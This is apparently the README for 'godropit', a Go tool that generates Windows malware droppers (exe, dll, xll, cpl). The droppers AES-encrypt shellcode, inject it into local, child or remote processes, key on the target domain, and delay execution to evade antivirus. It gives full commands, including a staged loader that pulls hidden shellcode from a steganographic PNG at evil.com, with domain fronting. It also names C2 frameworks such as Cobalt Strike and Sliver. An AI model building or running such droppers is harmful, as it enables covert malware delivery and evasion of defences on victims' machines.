Simple Dropper Automation tool just enough to automate using some common go payloads from the excellent examples of Ne0nd0g, GoPurple. It differs from these projects primarily in that it uses go templates to generate the dropper code.
- Domain keying
- Local, remote and child process execution methods.
- Automatic AES shellcode encryption
- Can also load exe's with go-donut, allowing exec of sliver-agent.exe etc.
- Staged PNG Loader - hides encrypted shellcode inside a remote png. Supports domain fronting.
First and foremost godropit focuses on windows binary formats. It currently supports:
- Exe
- Dll
- Xll
- Cpl
Note: Xll and CPL are generated by the shared flag, all shared droppers include exports for xlls, cpls and common windows dll based attacks.
Future formats can be added on request.
To use godropit you will need to install go, as we'll need the go compiler to compile our droppers. You'll also want mingw-w64 for any payload using C, e.g. DLL droppers.
On Linux
sudo apt update && sudo apt install golang mingw-w64
git clone <THIS REPO>
go build -trimpath -ldflags="-w -s" -o godropit main.go && sudo cp godropit /usr/local/binOn Windows (untested) Install golang first.
choco install mingw-w64
go build -trimpath -ldflags="-w -s" -o godropit main.goOnce downloaded it's fairly simple, you can either compile the binary and run it that way, or use it with "go run". Right now it only accepts baked in templates, but it will output the src to "-o /full/path/to/outputdir". This is where all the go source files will be placed, including encrypted shellcode, env variables used and go.mod/go.sum etc. Use flag --debug to keep these files after compilation, else godropit will tidy these away.
WARNING Do not output to the godropit directory, doing so will break the droppers and they will NOT generate, because go will try to build godropit and your bin in one go.
.\godropit new <local|child|remote> -i <exe/binfile> -n <outputfilename> -o <full path to output directory> -d <domainnamestring(wip)>Local Payloads inject into the local process.
Note: Because it exit's once complete, you can optionally specify -l to add an infinite for loop to keep the process open.
godropit new local -i shellcode.bin -n mylocaldropper -o /path/to/outdir -l
Child payloads spawn in a child process, which is started by the dropper manually (werfault.exe by default).
--proc and --args can be used to spawn a different process with arguments. Please watch the backslashes carefully, you may need to edit this in the .go file if your flag doesn't work.
godropit new child -i shellcode.bin -n childdropper -o /path/to/outdir --proc "c:\\windows\\system32\\notepad.exe" --args "whatever"
Remote payloads spawn in a process specified by --pid (werfault.exe by default).
godropit new remote -i shellcode.bin -n remotedropper -o /path/to/outdir -pid 1234
In addition to a stageless payload (the default), you can generate staged payloads. These are very similar to the other payloads, but it uses HTTP to grab your shellcode from a stego'd png. To use this function, you need to host your stego'd png somewhere the dropper can reach. Below shows the local injection type, but staged and as a shared (-s) format.
godropit new local -i shellcode.bin -n mylocaldropper -o /path/to/outdir -l -s -u http://evil.com/test.png --img /path/to/imagefile.jpg/png
You can also specify the host header for domain fronting:
godropit new local -i shellcode.bin -n mylocaldropper -o /path/to/outdir -l -s -u http://evil.com/test.png --img /path/to/imagefile.jpg/png --host something.wibble.com
Notes about stego droppers:
- The output file will always be a png regardless of input format and not all formats/images may work.
- Stagers don't necessarily save on file size unless you are using a particularly large exe or shellcode file. This is because the staged payload uses go libraries for TLS/HTTP etc. The unitended benefit is it might look more like a more legitimate go binary, as it includes more of the go stdlib.
- Supports domain fronting, so you can send your request to a more legitimate looking domain (not super thoroughly tested).
- No proxy detection is currently implemented, use at your own risk.
I'd only recommend stego if you are unsure about the target env, and maybe want to include some checks against IP whitelists/sandbox analysis.
Below are some usage tips to get the most out of godropit.
-i flag If you are unsure about a dropper, or just want a quick visual test - specify CALC as your input filename and godropit will autofill with some x64 shellcode to pop calc. This does accept exe files, and will use donut to create shellcode from them. Warning though, it'll be chonky.
-t flag This takes the time in seconds, and adds that as a delay prior to execution and decryption. Can be useful for distancing the exec of the binary from injection activity by a margin. If not specified, this will only delay by 1 second.
-d flag Domain keying is supported, it will check both the go hostname (which often includes domain\) and the USERDNSDOMAIN env var. This uses strings.Contain() and is not case sensitive, so you can put as much or as little of the domname in to this.
There are plans to support more, but I suggest you write your own bespoke payloads for most scenarios - this is just for quick wins against simple AV.
- Sometimes you need to specify a full path, relative paths can lead to mixed results/errors.
- Some of the droppers may not work, and some C2's the shellcode doesn't always play nice - e.g. sliver. However, cobalt and posh seem reliable.
- In some circumstances payloads may not generate or need tweaking, unfortunately in these scenarios your best option is to re-run with --debug so you can modify and compile the godropit code yourself.